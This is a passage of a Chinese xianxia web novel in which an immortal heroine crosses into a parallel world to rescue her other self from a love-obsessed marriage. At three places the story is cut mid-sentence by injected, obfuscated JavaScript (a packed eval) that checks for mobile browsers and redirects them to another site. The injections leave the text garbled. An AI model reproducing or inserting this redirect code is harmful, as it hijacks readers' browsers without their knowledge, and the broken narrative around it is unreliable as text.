《另一个我是恋爱脑怎么办》 1. 另一个她 “娘亲娘亲,昨晚七星连珠,我怎么没穿越呀?” 朝渡揉了揉小女儿傅忆昔的脑袋,温柔道:“傻孩子,那都是话本里骗人的,快去练剑吧,不然你爹爹会失望的。” 傅忆昔撇过头不满道:“尊贵的盟主大人才不在乎我们,我每天练剑一百个时辰也没用!” “不听娘亲的话了?就当为了娘亲,快去练吧。”朝渡先是严肃,又软下语气哄她,“今晚给你做你爱吃的金丝蜜虾。” “好耶!金丝蜜虾!”傅忆昔当即有了劲,提起自己的小木剑,蹦蹦跳跳就出门了,临到门口又回头欢喜道:“娘亲这次多做点!上次没吃够!” “好。”朝渡目送孩子离开后,又看向旁边的侍女,“你们都离开,我想一个人静静。” “是。”殿内的寥寥几个侍女纷纷退下,把门关上。 偌大的宫殿顿时只剩朝渡一人,静得让人几乎窒息。 她疲惫地坐到了更衣铜镜前,看着镜中的自己。 修仙之人,容貌是不会变的,可她为何会觉得自己近年老了许多? 也许容貌是不会变的,真心却是会变的。 几十年前,上次七星连珠之夜,他陪了她一夜,握着她的手,笑言若是真能穿越,他定要与她一起,无论穿到哪里,定不要她孤独。不管穿成什么,都要成双成对的,羡煞其他人。 “若是穿成蝴蝶,就一起流连花丛,若是穿成鸟,那就比翼双飞,穿成两块石头,那就一起看日出日落,直到沧海变桑田。” “就不能穿成人吗?” “穿成人,那就,那就携手白头不相离。”少年脸颊微红,目光明亮。 她与他都知道,七星连珠之夜的穿越不过是个虚无缥缈的传说,但他那夜眼睛真亮啊,手掌真暖啊,说那话的模样真认真啊…… 可昨夜,她一个人点了灯,从天黑等到天明,连他的影子都没见到。 “也许是他太忙了吧,他总是很忙,越来越忙……”她喃喃着,找借口为他开脱,但她心底隐隐有个感觉,她为他开脱不是为了他,而是为了自己。 为了不让自己直面一些真相。 可谁能骗得过自己呢? “一定是他太忙了,最近,最近,对了最近有十年一次的新剑试锋大比,要选拔修仙界新秀,要平衡各方势力,他真的很忙的……”她说着,眼泪却止不住地往下流。 可曾经他忙起来的时候,会让她陪在身边,会向她撒娇抱怨,会抽空陪她出来散心。 变了,一切都变了,早变了。 她再也忍不住,痛哭出声。 “笃笃。” 敲门声,从身前传来,可身前哪有门? 她恍惚抬头,疑心是自己听错了,却在泪眼朦胧中看到镜中的自己抬起手,敲了敲镜面。 “笃笃笃。”宛如敲门一样的声音。 她蓦地站起身,猛地退后:“谁?!” 镜中的她非但没有退后,反而抬脚往前,一步踏出了镜面。 “你是谁?魔尊派来的奸细吗?!”朝渡警惕问,那人离开镜面后,面容没变,身上的华丽服饰却变成了一袭素雅白衣。 但朝渡也算见多识广的人,一眼就认出来这白衣绝非凡品:布料至轻至柔,散发出冰蓝的光泽,又隐隐可见龙鳞纹路,当是由北地雪窟山特产的极品寒冰蚕丝织成,再以龙鳞淬炼,寒刀利剑难入,业火弱水不侵,只此一件衣服,价值连城。 再打量对方身形,只见她气度非凡,目若朗星,眉宇间有股自在之意,似一柄慵懒收在鞘中的利剑,锋芒虽未显,但任何人都不敢轻视半分。 更难以置信的是,对方竟有一张与她一模一样的脸。 “你究竟是谁?!”朝渡越打量越错愕,对方也在凝望着她,回应道:“我是另一个你,来帮你。你的剑呢?你是怎么活成这样的?” …… 朝渡数百年来历经劫难,终于飞升成仙。 飞升之后她也不曾有一日懈怠修炼。 直到又一次修为突破后,与天地共鸣中,她忽然听到了一个微弱缥缈的声音:“救救我,救救我,求求了谁来救救我!” 这声音,好生耳熟……这不是她自己的声音吗?! 但她何时这样狼狈无能地求过人? 不是过去的她,也许是未来的她? 朝渡感觉不可能。 那或许是谁的幻术,闭关期间有新仙诞生了?修为不错嘛,但是跟她有仇?来捉弄她作甚? 她凝神聚气,顺着微弱的声音探寻源头,却随着这声音越飘越远。 不是飘向天地之内的某处,而是飘向天地之外! 还遇到了一道难以用语言形容的屏障,屏障的力量变化无常且十分精妙,她竟从未见过。 朝渡愈发起了兴致,提起七成修为……不,还不够,她提起全部修为,凝成一针似细剑,骤然刺向屏障。 她如今的修为足以撼动一方天地,此时却仅仅让这屏障破了一个针尖般的小洞。 巨大的引力瞬间袭来,裹挟着她穿越极厚又极薄的星空。 似是一瞬,又似是万年匆匆而过。 她看到了另一个世界,与她本来的世界相似却有所不同。 比如一垂眼就能看到足下云间竟浮着一座遮天蔽日的翡翠宫殿,而更下方的不远处竟是仙盟的所在地问玄山?! 这翡翠宫殿什么来头,仙盟竟然能忍它飘在自己上空? 而且她顺着一缕微妙的联系,用神识查探到在离她最近的一座宫殿里,竟有一个力量微弱,正在痛哭的自己。 ……这真的是她? 朝渡想进一步查看四周,却发现自己的力量被一种无形力量限制得厉害,这不是人力能达到的,是此方世界的天道在压制她。 她试着调动力量,天空骤然聚起大片浓密黑云,狂风烈烈,雷光隐隐闪烁,是警告,亦是威慑。 “嗯?雷雷,你不认识我了?”朝渡“伤心”道,“我飞升时还是你来考验我的呢,被你劈了八十一次才过关,你居然忘了?负心雷!” 雷光似乎停顿了一瞬,但乌云并未散去,甚至还在聚集,一眼望去已经覆盖整个天际,至少已经席卷了方圆百里。 狂风怒号之中,朝渡的发丝只是微微飘荡,一如她本人悠闲惬意。 “放心放心,我不动这方世界。”朝渡收起力量,摊开空荡的掌心以示友好,“不过我来都来了,随便走走见见熟人总可以吧?” 浓密黑云终于渐渐散去,陆续有许多修仙者如雀群般飞上空中查看情况,乌泱泱一大片。 “有趣有趣。”她弯起嘴角,愈发有了兴致。 成仙以来,她很久没遇到这么有意思有挑战的事了。 朝渡又在高处观察了片刻宫殿布局,以及其中各类阵法的分布,心中有了数,藏起气息,隐匿身形,飞向那个弱小的自己。 朝渡附身在镜中看了她好一会,她能听到她的心声,听到她是怎样试图自欺欺人,又彻底崩溃。 听得她一股火气腾了上来。 她敲响镜面,提醒对方自己的存在,对方却没有任何主动进攻或防御手段,只会后退……真是美丽柔弱无害啊。 朝渡走出镜子,恢复原貌,对方竟认不出她是谁。 “我是另一个你,你的剑呢?你是怎么活成这样的?” 她从不离身的爱剑千钧,此刻在对方身上不见踪影。 不但是剑,对方身上没有任何一件武器,只有几件被动防御性首饰,像是一只温驯无害的羔羊。 另一个她仍在震惊,还在傻乎乎地问:“你到底是谁?!你是怎么来到这的?” 朝渡闭了闭眼,压住火气,语气放轻了点,解释道:“我是另一个世界的你,我听到了你的求救,我来帮你。”她的经验让她明白,这种情况下越刺激对面越容易适得其反,还是先安抚对面了解一下情况。 “另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……傅不辞,他不算害我,他只是,没那么爱我了。”另一个朝渡深深低下头,哽咽着道,“害过我的是那几个女人,她们给我和我的孩子们下过毒,还找人刺杀我们,想让我们早点死掉给她们腾位置!” 她忽然抬起头,满怀希望地问:“你能帮我解决掉她们吗?也许没有她们了,他又会重新爱我了!” 朝渡本来正在回忆傅不辞是谁,听到她后面的话,直接气笑了。 “连你自己都说的是也许,她们没了,他真的会重新爱你?”朝渡反问,“你明知道,她们没了,他只会再找几个新女人,说不定还会给自己找几个男宠。” 另一个朝渡沉默片刻,弱弱道:“他应该不会喜欢男的……” 朝渡好久没笑这么开心了,虽然这次是被狠狠气笑的:“傅不辞,他给你下了什么迷魂药?让你这么死心塌地。如果是别人见到我,先请教的肯定是如何修炼飞升,如何扛过雷劫,你倒好,满脑子竟是如何让一个男的回心转意。” 哦,想起来了,傅不辞,如今在她的世界里只是曜玄宗的一个长老,地位还没她的好朋友谢路遥高呢。 百年前她还是普通弟子时,跟他见过几次面,如果不是今天提起,她都快忘干净了。 她看着识海中找到的记忆:傅不辞那时还年轻,长得不错,开朗俊美还有实力的少年确实很讨人喜欢,但至于把另一个她迷成这副神魂颠倒的模样吗? 另一个朝渡声音低而坚定地道:“我确实不在乎飞升,我只想他能重新爱我,只爱我一人,对了,他那么想飞升,你能把你飞升的方法告诉我吗,然后我再告诉他,这样他肯定会重新重视我的!” 朝渡盯着她看,直把对方盯得目光心虚躲闪。但对方还在倔强道:“我就是只想他爱我一个,这有错吗?人跟人的追求不一样,你追求成仙,我追求他爱我,都可以啊。” 如果不是对方魂魄气息与她相同,她真的要怀疑这个自己被夺舍了。 朝渡按捺住直接回去的冲动,认真思考:怎么能有人满脑子只有情爱到这种程度?她真的救得了吗? 她只是成了仙,最多降妖除魔劈山裂海呼风唤雨引天地变色,哪里救得了这种痴情脑袋啊。 朝渡愈发想知道:她与她的命运本该一致,究竟是从哪里出现了分歧? 2. 她的故事 朝渡越发想知道,另一个自己到底经历了什么。 “一起去外面走走吧,顺带给我讲讲你跟他的故事吧,我想想怎么帮你。” “……你真的要帮我?”另一个朝渡小心翼翼地问,似乎有些不敢置信。 朝渡颔首:“来都来了,毕竟是另一个我,哪忍心看你过成这个样子。” 另一个朝渡沉默良久,才轻声道:“谢谢你。不过为什么要去外面?” 朝渡:“这里闷得慌,想去外头散散心。”这绿油油的翡翠宫殿像一口华丽腐朽的棺材,呆在里面很不舒服。而且她想再观察观察这个世界与她原本的世界还有哪些不同。 “好。”另一个朝渡从储物香囊里翻出一只小巧的金玉比翼鸟,鸟背上还有一座精致小亭,她轻抚鸟翼,目光温柔满是爱意:“我当年也喜欢去外面散心,他就亲自做了这只金玉比翼鸟送给我,让我随时能飞到高处坐在亭中赏景,他还说无论我想去哪,只要说出地名,他就陪我一起去看,那些年我们一起去了很多很多地方,天上地下有名的风景我们逛了个遍……” 朝渡:“哦,走吧,路上再慢慢说。” “好,我们先出门。”另一个朝渡在前头领路,忽然回头,“不对,殿内设了很多隐秘的防御和探查阵法,你是怎么悄无声息进来的?” 朝渡摊了摊手:“如果你有我的修为,看它们就跟看屋子里的桌子凳子没什么区别,喏,那两个这三个的对吧?用特殊秘法隐匿身形,不触发就可以了。” 另一个朝渡艳羡地看着她:“你是天才。” 朝渡望向她的眼睛:“如果我是,那你也是。” 另一个朝渡低下头:“我不是,我太笨了,跟你跟他都没法比,我当年修习基础剑术,花了一年才能入门。” 朝渡提醒她:“你还记不记得,咱俩才是一个人?我能做到的,你当然也可以做到。你当年花一年时间才能入门的基础剑术,我也一样。” “……真的吗?那你后来是怎么成仙的?”另一个朝渡频频回头看她。 朝渡做了一个“嘘”的动作:“快出门了,外面有人,你先假装没有我,咱们飞起来再聊。” 另一个朝渡:“好!” 等出了门,另一个朝渡唤醒金玉比翼鸟,比翼鸟“啾啾”两声飞速变大,两个朝渡登上鸟背上的凉亭,比翼鸟振翅起飞,飞得颇为稳当。 另一个朝渡打了个响指,凉亭周围垂下六面珠帘,随即珠帘隐形。 朝渡扫了一眼,便知这珠帘的作用:能够让外界看不到亭子内部,同时不耽误亭子内部的人赏景。 金玉比翼鸟路过那群查探情况的修仙者,他们不但没散去,反而越聚越多了,另一个朝渡诧然问:“他们围在这干什么?” “可能在溜达消食。”朝渡瞄了她一眼,她居然没有察觉刚才那般声势浩大的天雷吗?这警惕度敏锐度也太低了。 像一柄生锈的钝剑,但她想打磨试试,看可否恢复光亮如旧? 另一个朝渡没有理解她的玩笑,认真反驳:“修仙者哪里需要消食。” 朝渡懒懒道:“有道理,那可能只是在遛弯散心吧。或者是在找我。”算了不逗她了,还是直接把答案摊牌吧。 “找你?!”另一个朝渡惊愕,像只受惊的懵懂小兔子,“为什么?!” 朝渡扫了眼那群如蜂乱飞的修仙者,微笑道:“我来的时候,搞出的动静有点大,嘛,不用在意,动静已经解决了,他们也找不到我的,继续飞吧。” 另一个朝渡深深看了她一眼,指挥着比翼鸟继续飞。 又飞了片刻,另一个朝渡指着下方蓝宝石般的湖水道:“这里是灵鲤湖,风景不错吧?现在可以讲讲你是怎么飞升的了吗?” 朝渡挑眉看她:她还惦记着拿飞升方法换那男的回心转意呢。 朝渡敷衍回应道:“力量,勇气,聪明,机缘,心性,缺一不可,傅不辞能混到第一仙君的位置,前四个他大抵少不了,那他差的就是心性,他哪天戒了对权力的欲望,戒了美色,再多几分怜悯世人的慈悲,也许就成了。” 另一个朝渡看起来有些失落:“你说的有道理,但我如果劝他这些,他应该会更烦我了。” “要我说啊,哪怕是想让他回心转意,你的路也走错了。”朝渡一边观察周围与下方的布防,一边帮她分析道,“你想想,他当年爱上你,是因为你对他百依百顺心里只有他吗?” 另一个朝渡呆愣片刻,恍然道:“不是!他当年说我跟别人不一样!他说我特别勇敢,我的剑闪闪发光……” 朝渡点头:“所以,你的剑呢?你的勇敢呢?” 另一个朝渡看向自己空荡荡的手心,沉默了好久,才缓缓开口:“当年我跟他在一起后,他说他心疼我天天起早贪黑地练剑,他说心疼我练剑时受的伤……” 朝渡虽没经历过,但几百年的凡间修炼,见过不少类似情节上演在周围,此时还能流畅地帮忙补充:“他还在取得某些小成就后,说以后你不必这么辛苦,他来给你撑腰,你以后依靠他就好了。” 另一个朝渡:“是这样的……” “然后你真信了。”朝渡轻叹,“可修仙如逆水行舟,不进则退啊。”哪怕她飞升成仙后,也不曾有一日松弛懈怠修炼,不然也不会有今日的修为突破,不会有来到这个世界的机缘。 “我当时没全信的,可他后来还说,他需要我,需要我帮他处理很多事,那时我的修为比他已经落后一大截了,他已经成为内门弟子深得长老重用,我还是普通弟子,让他放弃修炼时间去处理那些琐事,不如我去处理吧?他那时很高兴,说我帮了他大忙,他那时的确更爱我了,时不时就会准备些惊喜小礼物送给我,还会抽空陪我去很多地方玩。”另一个朝渡回忆着,目中满是柔情,“要是时间永远停留在那段日子就好了。” 朝渡没说话,静静听着她回忆那些她眼里的温馨时光。看得出平时很少有人听她说这些旧事,藏满回忆的匣子一打开就有些收不住了。 另一个朝渡继续道:“后来他当上了长老,需要负责带弟子修行,还有各种考核和应酬,都是我帮他做的,每次我忙完回去,他都会从背后搂住我的腰,亲吻我说好想我谢谢我多亏了有我……他还会提前让人准备好我爱吃的饭菜,等我回来一起吃。再后来他更不得了了,当上了掌门,要忙的事更多了,我是门主夫人,天天忙得连轴转,帮他处理各种门派联盟,打理门派内各种琐事。” 朝渡听着这些都头疼:这些事太浪费时间了,太耽误修行了,也足够麻烦琐碎到让人忘记初心,迷失于红尘苦海。 “你那么强,还飞升了,在修仙界的地位肯定不低,也得有人替你处理这些事吧?”另一个朝渡看向她,又有些期待地问,“话说你夫君是谁?是个很贤惠的人吧?我现在觉得夫君未必要多有本事,只要贴心就行。” 朝渡摊了摊手:“我没夫君,至于那些琐事嘛,自有喜欢处理的人去处理。” 多的是人只把修仙当做谋权谋利的工具,她挑顺眼的顺手的去用就行了。 她走她的修仙道,他们闯他们的名利场。 “咦,那你不会孤单吗?!”另一个朝渡不可置信,“你一直都是一个人?” 朝渡召出千钧剑,轻抚黑玉剑身,剑中竟隐约有雷光闪烁,宛如在呼应她。 她将爱剑横于膝头,轻抚剑身,微笑道:“修炼怎会孤单呢?与剑相伴,感悟天地万物之奥妙,领会武学仙术之精妙,还能降妖除魔护天下清平。而且我从来不是一个人,我有好友有良师,还养了两只灵鸟,它们性子活泼,有时还有点闹人。” 另一个朝渡:“这样啊……哎,那两只灵鸟是早睡和早起吗?” 朝渡轻笑,点头:“嗯,看来你也养了,不过我刚才没见到?” “……夫君后来嫌它俩有点吵,我就没把它们召出来过了。”另一个朝渡闷闷道。 朝渡轻叹:“我猜你跟谢路遥也好久没联系了吧?” “谢路遥……遥遥……”另一个朝渡喃喃着,看向远方苍茫山川,思绪也仿佛飞向了很久远的过去,“原来她也是你的朋友吗?” 朝渡:“嗯,很好的朋友。当年我想放弃锦绣针法,改练剑,她是第一个支持我的人,我后来去了别的门派,我俩还每天联系,聊每天发生的趣事苦事,我曾经练剑练到崩溃时,她连夜赶过来把我接回去安慰我,我们现在也经常联系,她现在当上了一派掌门,日子过得不错。” 另一个朝渡闭上眼,声音酸涩:“我们当年也是天天联系,练剑练到崩溃那次她也连夜过来把我接回了仙衣阁……但她死在了锦绣城之战。我们的经历好像,连认识的人都一样,除了结局。” 朝渡望向她:“所以,你想改变结局吗?” 另一个朝渡苦笑反问:“我能改变吗?” “只要你想,就能。”朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577569|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡肯定道。 “哦?那你说说我怎么才能改变?”另一个朝渡的眼神分明还是写了不信。 朝渡屈起手指敲了敲亭子的白玉栏杆,微笑道:“首先,把你的剑找出来。” “我的剑?那只是一柄普通的剑,它甚至没有名字。”另一个朝渡迟疑道,“非它不可吗?我已经给丢了……” 朝渡手里的墨玉剑亮了亮,其中雷电闪烁如怒龙在乌云中翻腾,朝渡抚了抚它的剑脊,安慰道:“别生气,我不是没丢你嘛。唔,倒也不是非原本那把不可……哎我没说你,我的剑肯定非你不可非你不可。” 那把剑中的雷电光芒终于平息了,甚至微微抬起剑身蹭了蹭朝渡的指尖。 另一个朝渡愕然:“这、这是原本那把普通的剑?” 朝渡:“嗯,我一直带着它,遇见什么好的材料就拿来淬炼它,后来它还陪我经历了雷劫,如今看着很不错吧……啊用起来当然也很不错,你是天下第一厉害的剑!最优秀的剑!”眼看剑身雷电纹又要闪烁,朝渡轻车熟路地安抚道。 另一个朝渡忍笑道:“它好像挺有脾气的。” “这多可爱。”朝渡笑了笑,“总之,你得有一把剑,然后练起来。” 另一个朝渡沉默片刻,神色复杂地小声问:“你该不会想让我强过傅不辞吧?” “嗯?不行吗?你要是力量比他还强,还愁他不重视你?该他反过来发愁你要是不重视他了他该怎么办。”朝渡看她,后者连连摇头如拨浪鼓,“我肯定超不过他的,我落后他太多了,他是仙盟中实力最强的人,多少人想追赶他都追不上……” 朝渡指自己:“那个,你再看一眼我?我可是已经成仙了哦,他成仙了吗?” 另一个朝渡深深沉默,半晌后猛地拧了自己胳膊一把,倒吸一口凉气后,喃喃道:“简直像做梦一样,另一个世界的我居然比不辞还厉害?甚至成仙了?!还过来找我了?!!” 朝渡收起剑,向她伸出手,微笑道:“你如果不信自己的话,可以信我,当然,其实信我也是信你自己,你本就可以比他更强。” 另一个朝渡迟疑着将手搭到她的掌心上:“那我……先试试?” “试试嘛,修炼变强这种事,怎么都不会亏。”朝渡握住她的手,“由仙人亲自指导修炼的待遇,其他人求都求不来的。” 另一个朝渡抬起眼看她,眼中依稀有泪光,神色比刚才坚定了不少:“好,那我试试。嗯?我的传音玉简收到消息了,稍等。” 她从袖中取出一枚精致的传音玉简,神色忽然变得柔软下来:“这也是他当年亲手给我雕琢的,说是这样我每次收到消息看到玉简就会想起他了,对了,这玉简还是暖玉做的,他说是他掌心的温度,这样把玉简贴身带着也不会凉到我,想他时可以把玉简握在手里,这样就像他牵着我的手一样。” 朝渡:“……啧。”这小子花样真多啊。 而且很显然,这小子的花样很成功,哪怕人不在这,又成功让另一个她想起他,想起他的好了。 另一个朝渡解锁玉简,上面浮出一行墨字:“苏柔蕊:天降异象,青云宫戒严,请夫人速归。” 朝渡发现,另一个自己在看到玉简上的名字后,骤然脸色变得铁青,再无方才半分温柔。 哟,治痴情脑袋的药来了? 朝渡结合过往见闻,大概能猜出这柔情万种的名字属于什么身份:“这个苏柔蕊是,傅不辞的新欢?” 但是等等,她怎么对苏柔蕊这个名字有点印象,甚至比对傅不辞的印象更深,让她找找……活得有点久,记忆有点多,她封存了一些印象不深或者不重要的记忆,有必要时再寻找。 另一个朝渡咬牙切齿:“对,就是她,就是她给我和孩子下毒,想抢我位置!” “她都给你和你孩子下毒了,傅不辞还留着她?”朝渡委实有点被震撼了,这演都不演了。 “他先是说证据不足,又说他需要苏家的势力,让我为了大局忍一忍。”另一个朝渡说这话时,手指关节被自己攥得咯咯作响,看得出实在恨极了她。 “忍一忍,哈哈,忍一忍……我已经忍了多少年了?!从她当上了六仙侍之一开始,她手里的权力越来越多,连青云仙宫的内务管事权都归了她,我还要忍到什么时候?!”另一个朝渡忽然看向朝渡,眼神热切疯狂,手紧紧抓住朝渡的衣袖,“你帮帮我好不好?!让她消失,让她永远消失吧!” 3. 反击 朝渡轻轻一抽手,袖子如流水般从对方手中滑出。 她微笑道:“这位道友,杀心有点重呀,这可不利于修仙。” 找到苏柔蕊的相关记忆了…… 朝渡忽然愣住:在她的记忆里,苏柔蕊是一个被废弃的名字。 苏家少族长,仙盟最年轻的仙令使,她的朋友之一,外号“无怜重剑”——苏刺,原名苏柔蕊。 而如今,在另一个自己的口中,她是傅不辞的新欢,一个善使阴险手段的狐媚子。 另一个朝渡呆呆看着空荡荡的手心,泪水滑落脸颊,她绝望喃喃道:“你不想帮我,连你也不想帮我……” 朝渡回过神,收了笑,认真道:“我真心想帮你,想帮你走出泥沼,但这不是杀一个苏柔蕊就能解决的。” “可是我受不了了,我真的受不了了。”另一个朝渡猛地抓住自己鬓角的头发,眼睛都变红了,“她来之后,把他迷得神魂颠倒的,他一个月至少有十天睡在她那!” 朝渡觉得不可思议,这真是她认识的苏刺?那个人称无怜剑主的苏刺?! 震惊中,朝渡又回忆起一件事:苏刺曾经失踪过一段时间,但她有婚约在身,她家里找了个假货代替她,也许这是那个假货? 没亲眼确认前,朝渡不想将无怜剑主苏刺与这个据说能把人迷得神魂颠倒的苏柔蕊联系到一起。 她暂且按下关于苏柔蕊的疑惑,问:“那另外二十天呢?” 另一个朝渡沉默了一下,才缓缓道:“还有外面不知道多少个野货,一个月根本排不过来。” 说着说着,她竟一边落泪,一边轻轻笑了起来。 朝渡看着她,看着她带泪的眼睛,她平静的微笑与微笑下藏不住的绝望与癫狂。 朝渡轻叹:“你既然清楚知道他如今的真面目,怎么还放不下?” “他原来不是这样的。”另一个朝渡捂住脸,泪水却还从指缝溢出,“你不知道,他原来是个很好的人,他原来很爱我……真的很爱我。他到现在也只给了我一个人名分,连苏柔蕊都没有名分!他的妻子只有我一个人!” 朝渡望着她,想起了刻舟求剑的故事,又觉得看到了一位守墓人:另一个自己像是守在一块面目全非的墓碑前,怀念曾经的爱人。 朝渡忽然抬手,轻轻摸了摸她的发顶,轻叹:“你这些年受了太多委屈。” 另一个朝渡哭声一顿,茫然而不可置信地看她。 “嗯?难道不是吗?”朝渡反问。 “哈哈,是啊,是啊……可你知道其他人都怎么说的吗?他们说我命太好,享了太多福,说我这样一个法力低微毫无家境的人根本不配当他夫人。”另一个朝渡说着说着,漏出惨淡的笑容,“连仙宫里的仆从都看不起我,更别说其他人了。” 朝渡伸出一根手指,在她眼神晃了晃:“何必放在心上,他们想挑刺一个人,总能找出各种理由。至于仙宫里的人瞧不起你,只能说明两件事——一是你不够强,二是他不重视你。” 另一个朝渡僵了僵,缓缓垂下脑袋,失落道:“你说的对。” “所以,去找把剑吧。”朝渡拍了拍她的肩,“当你变强后,这姓傅的不敢再轻视你,你还可以亲手向那姓苏的报仇,多痛快。而且,说不定到时候你就会觉得,这姓傅的姓苏的都不算什么,剑尖所指,天地辽阔,他们?多看一眼都嫌浪费时间。” 另一个朝渡深深看了她一眼,随后咬了咬牙,像是下定了某种决心:“好!我们先回去,回去后你帮我挑一把剑,我要重新开始练剑!” “这就对了嘛!”朝渡一拍手,“走!让我看看这里有什么好剑!唔?” 金玉比翼鸟已经开始转向,另一个朝渡回头看她:“怎么了?” 朝渡看了看自己的左臂,浅笑摇头:“我的剑好像不是很想让我看别的剑,要不一会让它帮你挑吧。哎,它还否认了,那还是我来给你挑吧。” “你这剑……太别致了。”另一个朝渡打量她的左臂,“你这是把剑融到左臂了?” “嗯,以前追求人剑合一时做的一点小尝试。而且它也是柄名剑了,很多人一见到它就盯着它看,它容易害羞,还是藏起来吧。”朝渡轻笑,“你看,它还不让说。” 另一个朝渡也跟着笑了起来,状态看起来比刚才好了不少。 片刻后,云海中恢弘奢靡的青云仙宫出现在她们的视野中。 朝渡看到,另一个自己不自觉绷紧了身子,这个地方给了她太多压力和伤害了。 要不要干脆把她带走,封印了记忆?让她忘了他? 朝渡思索着,又迅速否认:这或许有用,但绝对是治标不治本,等她哪天恢复记忆,或者无意遇见傅不辞就精彩了,那些爱写恨海情天类话本的人要激动狂欢了。 更何况,她能把她带到哪里去?另一个自己虽然权不重但位置高,那个傅不辞再不重视她,也不会坐视夫人失踪吧?这是在打他的脸。 这里的天道大抵也不会同意她带走一个大活人,尤其她要带走的是自己,这可能会导致一些很危险的后果,比如因果错乱。 朝渡轻轻“啧”了一声,觉得还是要按原计划来:让她的剑锋重新锐利,让她自己为自己破开一条新生之路。 不过嘛,显然没说起来这么简单…… 朝渡一抬眼,就看到那帮乌泱泱的修仙者中间围了个人。 傅不辞。 她来时的动静已经惊动到他了,毕竟是那般磅礴阵仗的天雷,那是准备诛仙的天雷。 朝渡瞥了眼另一个自己,只见她的目光已经牢牢锁在他身上了,连金玉比翼鸟都向他飞去。 朝渡能听得到另一个自己的心声,对方没有“聪明”到打算出卖她来博取他的重视,纯纯是太过思念他了,不自觉地想向他靠近。 朝渡扶住额头,忍不住低声道:“难搞,啧。” 眼看着金玉比翼鸟离傅不辞越来越近,朝渡一点不急,倒是另一个自己豁然回神,紧张看她:“我不是故意的,我现在就掉头,我,再让我看他一眼吧,就一眼!” “没事没事。”朝渡知道拦也拦不住,越拦越容易适得其反,不但不拦还安慰她,“你想看就再看会,很久没见到他了吧?” “七十三天了。”另一个朝渡真的听了她的话,继续望过去,仿佛把天地万物都从视野中抠了出去,只剩他。 她的视线如绳如蛇,紧紧地贪婪地缠绕着他的身影。 如果有可能,或许她会想化成一个茧,将他紧紧缚在茧内,再沉入地底,不求化蝶,只求再无人打扰,然后在静谧漫长的岁月中一同腐朽。 亦或者将自己的痴情点燃成火,将自己与他一起烧成灰,不分彼此地混在一起,再无人能将她与他分开。 朝渡默默在心中评:“中毒太深。”中的还是最难解的情毒。 朝渡顺着她的视线也去打量傅不辞:确实生了长好皮相,眉目俊秀又不失英气,身如玉树且颇具威仪,在人群中亮眼到仿佛会自己发光。 傅不辞忽然回头了,他望向了金玉比翼鸟,皱了皱眉。 朝渡并不在意,她对自己独创的隐匿之术颇有信心,它来自她在修行中与天地共鸣时所得的灵感,可将自己融入天地万物,譬如一缕风,而且几乎不消耗灵力,那么现在的情况是…… 傅不辞只是看了一眼,又将头扭了回去,不耐烦地挥了挥手,随后他身旁一个人飞向金玉比翼鸟,停在了亭外。 朝渡笑着摇了摇头:傅不辞果然没发现她,小子,还是菜啊。 亭外,那名中年外貌的修仙者没有行礼,板着个脸道,“仙君正在探查天雷残痕,你还是速速回宫吧!” 朝渡扫了他一眼:脸上沟壑纵横,眼下乌青颇浓,身材臃肿走形,平时定然没有认真修炼,但修为竟还算中上等,或许是靠提升修为的丹药?这种人能当傅不辞身边的近侍,不知靠的是油嘴滑舌还是其它什么手段。 但他对另一个朝渡说话时可看不出半点油嘴滑舌的样子,甚至没点客气劲。 另一个朝渡缓缓从傅不辞身上收回视线,看向来者,愣愣地问:“你刚才说什么?” 朝渡扶额,另一个自己不光眼睛锁在傅不辞身上了,耳朵和心更是。 来的人愈发不耐烦:“仙君有事,没空应付你,你赶紧回去吧。” 朝渡在心里“啧”了一声,扭头去看另一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577570|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝渡的反应:她只是麻木地点了点头。 随后金玉比翼鸟缓缓往下方青云仙宫落去。 朝渡诧然问:“你这都不生气?” “生气……?”另一个朝渡苦笑,“已经习惯了,他们这些年一直这样对我,若是次次生气,这日子还怎么过?” 朝渡感觉自己看到了一个被捏扁的糯米团子。 “有时候,剑未必需要是剑。”朝渡道。 另一个朝渡茫然看她:“什么意思?” 朝渡微微眯眼,看那趾高气昂离去的近侍:“意思是,有些时候,你需要用其它方式去反击。他已经当着这么多人的面欺负到你头上了,岂能轻易放过他。” 另一个朝渡苦笑摇头:“可我打不过他,也不好得罪他,让傅不辞知道了还会说我小心眼斤斤计较,让其他人更觉得我不配当他夫人,我能怎么办?” “那就让他知道,却拿不出证据。”朝渡扬起嘴角,笑问,“会画吐真符吗?” 另一个朝渡摇了摇头,朝渡道:“伸出手指。” 另一个朝渡伸出右手食指,朝渡握住她的右手,导引一缕灵力到她指尖,带着她在空中一笔画成了一张符。 “凌空画符!一笔成符!还不需要用笔!”另一个朝渡惊叹道,“很多符修还做不到呢!” 朝渡笑而不语,又握着另一个自己的手,在吐真符周围画了个圈,吐真符瞬间变成了半透明的模样。 “别看旁边围了几百个人,现在只有我们两个能看到这吐真符了。来,让大家一起来听听他的心里话吧。” 另一个朝渡迟疑地点头,眼中却盛满了跃跃欲试。 朝渡又引了一缕灵力,经过另一个自己的手掌,催动隐形起来的吐真符,让它飞向刚才那个侍从。 